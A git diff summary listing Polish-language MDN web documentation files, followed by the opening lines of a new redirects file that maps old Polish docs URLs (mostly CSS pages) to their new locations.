-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/constructor/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/eval/index.html64
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/freeze/index.html201
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html121
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html150
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/index.html212
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/proto/index.html193
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/prototype/index.html218
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/seal/index.html165
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/tosource/index.html73
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/tostring/index.html98
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/unwatch/index.html39
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/valueof/index.html63
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/watch/index.html78
-rw-r--r--files/pl/web/javascript/referencje/obiekty/packages/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/packages/java/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/packages/nazwaklasy/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/packages/netscape/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/packages/sun/index.html32
-rw-r--r--files/pl/web/javascript/referencje/obiekty/parsefloat/index.html68
-rw-r--r--files/pl/web/javascript/referencje/obiekty/parseint/index.html112
-rw-r--r--files/pl/web/javascript/referencje/obiekty/promise/index.html256
-rw-r--r--files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html117
-rw-r--r--files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html77
-rw-r--r--files/pl/web/javascript/referencje/obiekty/proxy/index.html401
-rw-r--r--files/pl/web/javascript/referencje/obiekty/rangeerror/index.html162
-rw-r--r--files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html123
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html144
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/global/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/index.html383
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html54
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/source/index.html29
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/test/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html47
-rw-r--r--files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/set/index.html486
-rw-r--r--files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html134
-rw-r--r--files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html124
-rw-r--r--files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html102
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/anchor/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/big/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/blink/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/bold/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/charat/index.html68
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html42
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/concat/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html48
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html149
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/index.html194
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/italics/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/link/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/prototype/index.html220
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/repeat/index.html166
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/search/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/slice/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/small/index.html37
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/strike/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/sub/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/substr/index.html66
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/substring/index.html90
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/sup/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html40
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/tosource/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/tostring/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html38
-rw-r--r--files/pl/web/javascript/referencje/obiekty/string/valueof/index.html40
-rw-r--r--files/pl/web/javascript/referencje/obiekty/sun/index.html29
-rw-r--r--files/pl/web/javascript/referencje/obiekty/symbol/index.html227
-rw-r--r--files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html100
-rw-r--r--files/pl/web/javascript/referencje/obiekty/uint16array/index.html224
-rw-r--r--files/pl/web/javascript/referencje/obiekty/undefined/index.html40
-rw-r--r--files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html558
-rw-r--r--files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html493
-rw-r--r--files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html78
-rw-r--r--files/pl/web/javascript/referencje/operatory/function_star_/index.html90
-rw-r--r--files/pl/web/javascript/referencje/operatory/grouping/index.html90
-rw-r--r--files/pl/web/javascript/referencje/operatory/index.html282
-rw-r--r--files/pl/web/javascript/referencje/operatory/logical_operators/index.html253
-rw-r--r--files/pl/web/javascript/referencje/operatory/new.target/index.html134
-rw-r--r--files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html251
-rw-r--r--files/pl/web/javascript/referencje/operatory/object_initializer/index.html387
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_delete/index.html74
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_function/index.html144
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_in/index.html92
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html168
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_new/index.html183
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_potoku/index.html65
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html37
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_typeof/index.html91
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_void/index.html51
-rw-r--r--files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html34
-rw-r--r--files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html267
-rw-r--r--files/pl/web/javascript/referencje/operatory/operatory_działające_na_ciągach_znaków/index.html34
-rw-r--r--files/pl/web/javascript/referencje/operatory/operatory_pamięci/index.html177
-rw-r--r--files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html129
-rw-r--r--files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html74
-rw-r--r--files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html336
-rw-r--r--files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html244
-rw-r--r--files/pl/web/javascript/referencje/operatory/spread_operator/index.html229
-rw-r--r--files/pl/web/javascript/referencje/operatory/super/index.html171
-rw-r--r--files/pl/web/javascript/referencje/operatory/this/index.html346
-rw-r--r--files/pl/web/javascript/referencje/operatory/yield/index.html168
-rw-r--r--files/pl/web/javascript/referencje/operatory/yield_star_/index.html200
-rw-r--r--files/pl/web/javascript/referencje/polecenia/block/index.html160
-rw-r--r--files/pl/web/javascript/referencje/polecenia/break/index.html67
-rw-r--r--files/pl/web/javascript/referencje/polecenia/class/index.html113
-rw-r--r--files/pl/web/javascript/referencje/polecenia/const/index.html53
-rw-r--r--files/pl/web/javascript/referencje/polecenia/continue/index.html166
-rw-r--r--files/pl/web/javascript/referencje/polecenia/debugger/index.html126
-rw-r--r--files/pl/web/javascript/referencje/polecenia/default/index.html120
-rw-r--r--files/pl/web/javascript/referencje/polecenia/do...while/index.html54
-rw-r--r--files/pl/web/javascript/referencje/polecenia/empty/index.html92
-rw-r--r--files/pl/web/javascript/referencje/polecenia/etykieta/index.html51
-rw-r--r--files/pl/web/javascript/referencje/polecenia/export/index.html47
-rw-r--r--files/pl/web/javascript/referencje/polecenia/for...in/index.html173
-rw-r--r--files/pl/web/javascript/referencje/polecenia/for/index.html58
-rw-r--r--files/pl/web/javascript/referencje/polecenia/for_each...in/index.html80
-rw-r--r--files/pl/web/javascript/referencje/polecenia/function/index.html68
-rw-r--r--files/pl/web/javascript/referencje/polecenia/function_star_/index.html309
-rw-r--r--files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html264
-rw-r--r--files/pl/web/javascript/referencje/polecenia/if...else/index.html65
-rw-r--r--files/pl/web/javascript/referencje/polecenia/import/index.html55
-rw-r--r--files/pl/web/javascript/referencje/polecenia/index.html149
-rw-r--r--files/pl/web/javascript/referencje/polecenia/return/index.html48
-rw-r--r--files/pl/web/javascript/referencje/polecenia/switch/index.html285
-rw-r--r--files/pl/web/javascript/referencje/polecenia/throw/index.html197
-rw-r--r--files/pl/web/javascript/referencje/polecenia/var/index.html61
-rw-r--r--files/pl/web/javascript/referencje/polecenia/while/index.html61
-rw-r--r--files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html292
-rw-r--r--files/pl/web/javascript/referencje/słowa_zarezerwowane/index.html17
-rw-r--r--files/pl/web/javascript/shells/index.html42
-rw-r--r--files/pl/web/javascript/typed_arrays/index.html277
-rw-r--r--files/pl/web/javascript/typy_oraz_struktury_danych/index.html443
-rw-r--r--files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html341
-rw-r--r--files/pl/web/javascript/zasoby_języka_javascript/index.html48
-rw-r--r--files/pl/web/mathml/index.html62
-rw-r--r--files/pl/web/progressive_web_apps/index.html113
-rw-r--r--files/pl/web/security/securing_your_site/index.html55
-rw-r--r--files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html114
-rw-r--r--files/pl/web/svg/element/a/index.html149
-rw-r--r--files/pl/web/svg/element/animatetransform/index.html95
-rw-r--r--files/pl/web/svg/element/index.html252
-rw-r--r--files/pl/web/svg/element/okrąg/index.html99
-rw-r--r--files/pl/web/svg/index.html100
-rw-r--r--files/pl/web/svg/inne_zasoby/index.html19
-rw-r--r--files/pl/web/svg/przewodnik/index.html28
-rw-r--r--files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html78
-rw-r--r--files/pl/web/tutorials/index.html154
-rw-r--r--files/pl/web/xml/index.html17
-rw-r--r--files/pl/web/xml/wprowadzenie_do_xml-a/index.html46
-rw-r--r--files/pl/web/xpath/funkcje/boolean/index.html38
-rw-r--r--files/pl/web/xpath/funkcje/ceiling/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/concat/index.html31
-rw-r--r--files/pl/web/xpath/funkcje/contains/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/count/index.html33
-rw-r--r--files/pl/web/xpath/funkcje/current/index.html30
-rw-r--r--files/pl/web/xpath/funkcje/document/index.html42
-rw-r--r--files/pl/web/xpath/funkcje/element-available/index.html30
-rw-r--r--files/pl/web/xpath/funkcje/false/index.html37
-rw-r--r--files/pl/web/xpath/funkcje/floor/index.html33
-rw-r--r--files/pl/web/xpath/funkcje/format-number/index.html38
-rw-r--r--files/pl/web/xpath/funkcje/function-available/index.html29
-rw-r--r--files/pl/web/xpath/funkcje/generate-id/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/id/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/index.html55
-rw-r--r--files/pl/web/xpath/funkcje/key/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/lang/index.html58
-rw-r--r--files/pl/web/xpath/funkcje/last/index.html33
-rw-r--r--files/pl/web/xpath/funkcje/local-name/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/name/index.html35
-rw-r--r--files/pl/web/xpath/funkcje/namespace-uri/index.html37
-rw-r--r--files/pl/web/xpath/funkcje/normalize-space/index.html34
-rw-r--r--files/pl/web/xpath/funkcje/not/index.html37
-rw-r--r--files/pl/web/xpath/funkcje/number/index.html37
-rw-r--r--files/pl/web/xpath/funkcje/position/index.html44
-rw-r--r--files/pl/web/xpath/funkcje/round/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/starts-with/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/string-length/index.html32
-rw-r--r--files/pl/web/xpath/funkcje/string/index.html43
-rw-r--r--files/pl/web/xpath/funkcje/substring-after/index.html40
-rw-r--r--files/pl/web/xpath/funkcje/substring-before/index.html38
-rw-r--r--files/pl/web/xpath/funkcje/substring/index.html40
-rw-r--r--files/pl/web/xpath/funkcje/sum/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/system-property/index.html36
-rw-r--r--files/pl/web/xpath/funkcje/translate/index.html86
-rw-r--r--files/pl/web/xpath/funkcje/true/index.html30
-rw-r--r--files/pl/web/xpath/funkcje/unparsed-entity-url/index.html29
-rw-r--r--files/pl/web/xpath/index.html14
-rw-r--r--files/pl/web/xpath/osie/index.html44
-rw-r--r--files/pl/web/xslt/apply-imports/index.html30
-rw-r--r--files/pl/web/xslt/apply-templates/index.html35
-rw-r--r--files/pl/web/xslt/attribute-set/index.html35
-rw-r--r--files/pl/web/xslt/attribute/index.html34
-rw-r--r--files/pl/web/xslt/call-template/index.html32
-rw-r--r--files/pl/web/xslt/choose/index.html35
-rw-r--r--files/pl/web/xslt/comment/index.html31
-rw-r--r--files/pl/web/xslt/copy-of/index.html32
-rw-r--r--files/pl/web/xslt/copy/index.html32
-rw-r--r--files/pl/web/xslt/decimal-format/index.html73
-rw-r--r--files/pl/web/xslt/element/element/index.html36
-rw-r--r--files/pl/web/xslt/element/index.html58
-rw-r--r--files/pl/web/xslt/fallback/index.html32
-rw-r--r--files/pl/web/xslt/for-each/index.html32
-rw-r--r--files/pl/web/xslt/if/index.html33
-rw-r--r--files/pl/web/xslt/import/index.html31
-rw-r--r--files/pl/web/xslt/include/index.html31
-rw-r--r--files/pl/web/xslt/index.html19
-rw-r--r--files/pl/web/xslt/key/index.html36
-rw-r--r--files/pl/web/xslt/message/index.html31
-rw-r--r--files/pl/web/xslt/namespace-alias/index.html33
-rw-r--r--files/pl/web/xslt/number/index.html98
-rw-r--r--files/pl/web/xslt/otherwise/index.html32
-rw-r--r--files/pl/web/xslt/output/index.html63
-rw-r--r--files/pl/web/xslt/param/index.html34
-rw-r--r--files/pl/web/xslt/preserve-space/index.html31
-rw-r--r--files/pl/web/xslt/processing-instruction/index.html33
-rw-r--r--files/pl/web/xslt/sort/index.html49
-rw-r--r--files/pl/web/xslt/strip-space/index.html31
-rw-r--r--files/pl/web/xslt/stylesheet/index.html34
-rw-r--r--files/pl/web/xslt/template/index.html47
-rw-r--r--files/pl/web/xslt/text/index.html34
-rw-r--r--files/pl/web/xslt/transform/index.html17
-rw-r--r--files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html243
-rw-r--r--files/pl/web/xslt/transformacje_xml_z_xslt/index.html147
-rw-r--r--files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html205
-rw-r--r--files/pl/web/xslt/value-of/index.html32
-rw-r--r--files/pl/web/xslt/variable/index.html35
-rw-r--r--files/pl/web/xslt/when/index.html33
-rw-r--r--files/pl/web/xslt/with-param/index.html32
-rw-r--r--files/pl/webassembly/index.html164
-rw-r--r--files/pl/websockets/index.html188
-rw-r--r--files/pl/wsparcie_przeglądarek_dla_elementów_html/index.html1390
-rw-r--r--files/pl/wtyczki/index.html108
-rw-r--r--files/pl/wykrywanie_wersji_i_programowanie_dla_wielu_przeglądarek/index.html583
-rw-r--r--files/pl/xhtml/index.html26
-rw-r--r--files/pl/xml_w_mozilli/index.html283
-rw-r--r--files/pl/xml_web_services/accessing_web_services_in_mozilla_using_wsdl_proxying/index.html177
-rw-r--r--files/pl/xml_web_services/index.html49
-rw-r--r--files/pl/xmlhttprequest/index.html233
-rw-r--r--files/pl/xmlhttprequest/using_xmlhttprequest/index.html657
-rw-r--r--files/pl/xpcnativewrapper/index.html208
-rw-r--r--files/pl/xpcom/index.html101
-rw-r--r--files/pl/xpcom_interface_reference/index.html18
-rw-r--r--files/pl/xpconnect/index.html60
-rw-r--r--files/pl/xpconnect/podstawy_architektury/index.html12
-rw-r--r--files/pl/xpi/index.html22
-rw-r--r--files/pl/xtf/index.html34
-rw-r--r--files/pl/xul_explorer/index.html67
-rw-r--r--files/pl/zabawa_językiem_xul/index.html146
-rw-r--r--files/pl/zastosowanie_nsixulappinfo/index.html109
-rw-r--r--files/pl/zdarzenia_przeciągania_i_upuszczania/index.html30
-rw-r--r--files/pl/zmiany_w_obiekcie_xmlhttprequest_w_gecko_1.8/index.html21
2316 files changed, 213367 insertions, 0 deletions
diff --git a/files/pl/_redirects.txt b/files/pl/_redirects.txt
new file mode 100644
index 0000000000..6cfa2f0581
--- /dev/null
+++ b/files/pl/_redirects.txt
@@ -0,0 +1,2683 @@
+# FROM-URL TO-URL
+/pl/docs/AJAX /pl/docs/Web/Guide/AJAX
+/pl/docs/AJAX/Na_pocz%C4%85tek /pl/docs/Web/Guide/AJAX/Na_pocz%C4%85tek
+/pl/docs/AJAX:Dokumentacje /pl/docs/AJAX/Dokumentacje
+/pl/docs/AJAX:Inne_zasoby /pl/docs/AJAX/Inne_zasoby
+/pl/docs/AJAX:Na_pocz%C4%85tek /pl/docs/Web/Guide/AJAX/Na_pocz%C4%85tek
+/pl/docs/AJAX:Przyk%C5%82ady /pl/docs/AJAX/Przyk%C5%82ady
+/pl/docs/AJAX:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/AJAX/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Accessibility /pl/docs/Web/Dost%C4%99pno%C5%9B%C4%87
+/pl/docs/Alternatywny_blok_licencyjny /en-US/docs/Project:pl/Przyk%C5%82ady/Alternatywny_blok_licencyjny
+/pl/docs/Bezpiecze%C5%84stwo:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Bezpiecze%C5%84stwo/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Bezpieczny_dost%C4%99p_do_zawarto%C5%9Bci_DOM_z_chrome /pl/docs/Bezpieczny_dost%C4%99p_do_sk%C5%82adnik%C3%B3w_DOM_z_poziomu_chrome
+/pl/docs/Brudnopis_ptaszora /pl/docs/Wikipedysta/Ptak82_Brudnopis_ptaszora
+/pl/docs/Brudnopis_ptaszora_Kurs_XUL /pl/docs/Wikipedysta/Ptak82_Brudnopis_ptaszora_Kurs_XUL
+/pl/docs/Brudnopis_ptaszora_archiwum /pl/docs/Wikipedysta/Ptak82_Brudnopis_ptaszora_archiwum
+/pl/docs/Brudnopis_ptaszora_s%C5%82ownik /pl/docs/Wikipedysta/Ptak82_Brudnopis_ptaszora_s%C5%82ownik
+/pl/docs/Bugzilla_(link) https://bugzilla.mozilla.org/enter_bug.cgi?format=guided
+/pl/docs/CSS /pl/docs/Web/CSS
+/pl/docs/CSS/-moz-appearance /pl/docs/Web/CSS/appearance
+/pl/docs/CSS/-moz-background-clip /pl/docs/CSS/background-clip
+/pl/docs/CSS/-moz-background-inline-policy /pl/docs/Web/CSS/box-decoration-break
+/pl/docs/CSS/-moz-background-origin /pl/docs/Web/CSS/background-origin
+/pl/docs/CSS/-moz-binding /pl/docs/Web/CSS/-moz-binding
+/pl/docs/CSS/-moz-border-bottom-colors /pl/docs/Web/CSS/-moz-border-bottom-colors
+/pl/docs/CSS/-moz-border-left-colors /pl/docs/Web/CSS/-moz-border-left-colors
+/pl/docs/CSS/-moz-border-radius /pl/docs/Web/CSS/border-radius
+/pl/docs/CSS/-moz-border-radius-bottomleft /pl/docs/Web/CSS/border-bottom-left-radius
+/pl/docs/CSS/-moz-border-radius-bottomright /pl/docs/Web/CSS/border-bottom-right-radius
+/pl/docs/CSS/-moz-border-radius-topleft /pl/docs/Web/CSS/border-top-left-radius
+/pl/docs/CSS/-moz-border-radius-topright /pl/docs/Web/CSS/border-top-right-radius
+/pl/docs/CSS/-moz-border-right-colors /pl/docs/Web/CSS/-moz-border-right-colors
+/pl/docs/CSS/-moz-border-top-colors /pl/docs/Web/CSS/-moz-border-top-colors
+/pl/docs/CSS/-moz-box-align /pl/docs/Web/CSS/-moz-box-align
+/pl/docs/CSS/-moz-box-direction /pl/docs/Web/CSS/box-direction
+/pl/docs/CSS/-moz-box-flex /pl/docs/Web/CSS/-moz-box-flex
+/pl/docs/CSS/-moz-box-orient /pl/docs/Web/CSS/-moz-box-orient
+/pl/docs/CSS/-moz-box-pack /pl/docs/Web/CSS/-moz-box-pack
+/pl/docs/CSS/-moz-box-sizing /pl/docs/Web/CSS/box-sizing
+/pl/docs/CSS/-moz-image-region /pl/docs/Web/CSS/-moz-image-region
+/pl/docs/CSS/-moz-opacity /pl/docs/Web/CSS/opacity
+/pl/docs/CSS/-moz-outline /pl/docs/Web/CSS/outline
+/pl/docs/CSS/-moz-outline-color /pl/docs/Web/CSS/-moz-outline-color
+/pl/docs/CSS/-moz-outline-offset /pl/docs/Web/CSS/outline-offset
+/pl/docs/CSS/-moz-outline-radius /pl/docs/Web/CSS/-moz-outline-radius
+/pl/docs/CSS/-moz-outline-radius-bottomleft /pl/docs/Web/CSS/-moz-outline-radius-bottomleft
+/pl/docs/CSS/-moz-outline-radius-bottomright /pl/docs/Web/CSS/-moz-outline-radius-bottomright
+/pl/docs/CSS/-moz-outline-radius-topleft /pl/docs/Web/CSS/-moz-outline-radius-topleft
+/pl/docs/CSS/-moz-outline-radius-topright /pl/docs/Web/CSS/-moz-outline-radius-topright
+/pl/docs/CSS/-moz-outline-style /pl/docs/Web/CSS/outline-style
+/pl/docs/CSS/:-moz-tree-cell /pl/docs/Web/CSS/:-moz-tree-cell
+/pl/docs/CSS/:-moz-tree-cell-text /pl/docs/Web/CSS/:-moz-tree-cell-text
+/pl/docs/CSS/:-moz-tree-column /pl/docs/Web/CSS/:-moz-tree-column
+/pl/docs/CSS/:-moz-tree-drop-feedback /pl/docs/Web/CSS/:-moz-tree-drop-feedback
+/pl/docs/CSS/:-moz-tree-image /pl/docs/Web/CSS/:-moz-tree-image
+/pl/docs/CSS/:-moz-tree-indentation /pl/docs/Web/CSS/:-moz-tree-indentation
+/pl/docs/CSS/:-moz-tree-line /pl/docs/Web/CSS/:-moz-tree-line
+/pl/docs/CSS/:-moz-tree-progressmeter /pl/docs/Web/CSS/:-moz-tree-progressmeter
+/pl/docs/CSS/:-moz-tree-row /pl/docs/Web/CSS/:-moz-tree-row
+/pl/docs/CSS/:-moz-tree-separator /pl/docs/Web/CSS/:-moz-tree-separator
+/pl/docs/CSS/:-moz-tree-twisty /pl/docs/Web/CSS/:-moz-tree-twisty
+/pl/docs/CSS/:after /pl/docs/Web/CSS/:after
+/pl/docs/CSS/:before /pl/docs/Web/CSS/:before
+/pl/docs/CSS/:empty /pl/docs/Web/CSS/:empty
+/pl/docs/CSS/:first-child /pl/docs/Web/CSS/:first-child
+/pl/docs/CSS/:first-letter /pl/docs/Web/CSS/:first-letter
+/pl/docs/CSS/:first-node /pl/docs/Web/CSS/:first-node
+/pl/docs/CSS/:lang /pl/docs/Web/CSS/:lang
+/pl/docs/CSS/:last-child /pl/docs/Web/CSS/:last-child
+/pl/docs/CSS/:last-node /pl/docs/Web/CSS/%3A-moz-last-node
+/pl/docs/CSS/:not /pl/docs/Web/CSS/:not
+/pl/docs/CSS/:root /pl/docs/Web/CSS/:root
+/pl/docs/CSS/@-moz-document /pl/docs/Web/CSS/%40document
+/pl/docs/CSS/@import /pl/docs/Web/CSS/@import
+/pl/docs/CSS/@media /pl/docs/Web/CSS/@media
+/pl/docs/CSS/CSS_Reference /pl/docs/Web/CSS/CSS_Reference
+/pl/docs/CSS/Dziedziczenie /pl/docs/Web/CSS/Dziedziczenie
+/pl/docs/CSS/Getting_Started/Tables /pl/docs/Web/CSS/Na_pocz%C4%85tek/Tables
+/pl/docs/CSS/Inne_zasoby /pl/docs/Web/CSS/Inne_zasoby
+/pl/docs/CSS/Margin /pl/docs/Web/CSS/Margin
+/pl/docs/CSS/Na_pocz%C4%85tek /pl/docs/Web/CSS/Na_pocz%C4%85tek
+/pl/docs/CSS/Na_pocz%C4%85tek/Bloki /pl/docs/Web/CSS/Na_pocz%C4%85tek/Bloki
+/pl/docs/CSS/Na_pocz%C4%85tek/Czym_jest_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS
+/pl/docs/CSS/Na_pocz%C4%85tek/Czym_jest_CSS? /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS
+/pl/docs/CSS/Na_pocz%C4%85tek/Czytelny_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czytelny_CSS
+/pl/docs/CSS/Na_pocz%C4%85tek/Dane_XML /pl/docs/Web/CSS/Na_pocz%C4%85tek/Dane_XML
+/pl/docs/CSS/Na_pocz%C4%85tek/Grafika_SVG /pl/docs/Web/CSS/Na_pocz%C4%85tek/Grafika_SVG
+/pl/docs/CSS/Na_pocz%C4%85tek/Jak_dzia%C5%82a_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Jak_dzia%C5%82a_CSS
+/pl/docs/CSS/Na_pocz%C4%85tek/JavaScript /pl/docs/Web/CSS/Na_pocz%C4%85tek/JavaScript
+/pl/docs/CSS/Na_pocz%C4%85tek/Kaskadowo%C5%9B%C4%87_i_dziedziczenie /pl/docs/Web/CSS/Na_pocz%C4%85tek/Kaskadowo%C5%9B%C4%87_i_dziedziczenie
+/pl/docs/CSS/Na_pocz%C4%85tek/Kolor /pl/docs/Web/CSS/Na_pocz%C4%85tek/Kolor
+/pl/docs/CSS/Na_pocz%C4%85tek/Listy /pl/docs/Web/CSS/Na_pocz%C4%85tek/Listy
+/pl/docs/CSS/Na_pocz%C4%85tek/Media /pl/docs/Web/CSS/Na_pocz%C4%85tek/Media
+/pl/docs/CSS/Na_pocz%C4%85tek/Po_co_u%C5%BCywa%C4%87_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Po_co_u%C5%BCywa%C4%87_CSS
+/pl/docs/CSS/Na_pocz%C4%85tek/Selektory /pl/docs/Web/CSS/Na_pocz%C4%85tek/Selektory
+/pl/docs/CSS/Na_pocz%C4%85tek/Style_tekstowe /pl/docs/Web/CSS/Na_pocz%C4%85tek/Style_tekstowe
+/pl/docs/CSS/Na_pocz%C4%85tek/Tabele /pl/docs/Web/CSS/Na_pocz%C4%85tek/Tables
+/pl/docs/CSS/Na_pocz%C4%85tek/Tre%C5%9B%C4%87 /pl/docs/Learn/CSS/Howto/Generated_content
+/pl/docs/CSS/Na_pocz%C4%85tek/Uk%C5%82ad /pl/docs/Web/CSS/Na_pocz%C4%85tek/Uk%C5%82ad
+/pl/docs/CSS/Na_pocz%C4%85tek/Wi%C4%85zania_XBL /pl/docs/Web/CSS/Na_pocz%C4%85tek/Wi%C4%85zania_XBL
+/pl/docs/CSS/Na_pocz%C4%85tek/XUL-owe_interfejsy_u%C5%BCytkownika /pl/docs/Web/CSS/Na_pocz%C4%85tek/XUL-owe_interfejsy_u%C5%BCytkownika
+/pl/docs/CSS/Selektory_typu /pl/docs/Web/CSS/Selektory_typu
+/pl/docs/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa /pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa
+/pl/docs/CSS/azimuth /pl/docs/Web/CSS/azimuth
+/pl/docs/CSS/background /pl/docs/Web/CSS/background
+/pl/docs/CSS/background-attachment /pl/docs/Web/CSS/background-attachment
+/pl/docs/CSS/background-color /pl/docs/Web/CSS/background-color
+/pl/docs/CSS/background-image /pl/docs/Web/CSS/background-image
+/pl/docs/CSS/background-position /pl/docs/Web/CSS/background-position
+/pl/docs/CSS/background-repeat /pl/docs/Web/CSS/background-repeat
+/pl/docs/CSS/border /pl/docs/Web/CSS/border
+/pl/docs/CSS/border-bottom /pl/docs/Web/CSS/border-bottom
+/pl/docs/CSS/border-bottom-color /pl/docs/Web/CSS/border-bottom-color
+/pl/docs/CSS/border-bottom-style /pl/docs/Web/CSS/border-bottom-style
+/pl/docs/CSS/border-bottom-width /pl/docs/Web/CSS/border-bottom-width
+/pl/docs/CSS/border-collapse /pl/docs/Web/CSS/border-collapse
+/pl/docs/CSS/border-color /pl/docs/Web/CSS/border-color
+/pl/docs/CSS/border-left /pl/docs/Web/CSS/border-left
+/pl/docs/CSS/border-left-color /pl/docs/Web/CSS/border-left-color
+/pl/docs/CSS/border-left-style /pl/docs/Web/CSS/border-left-style
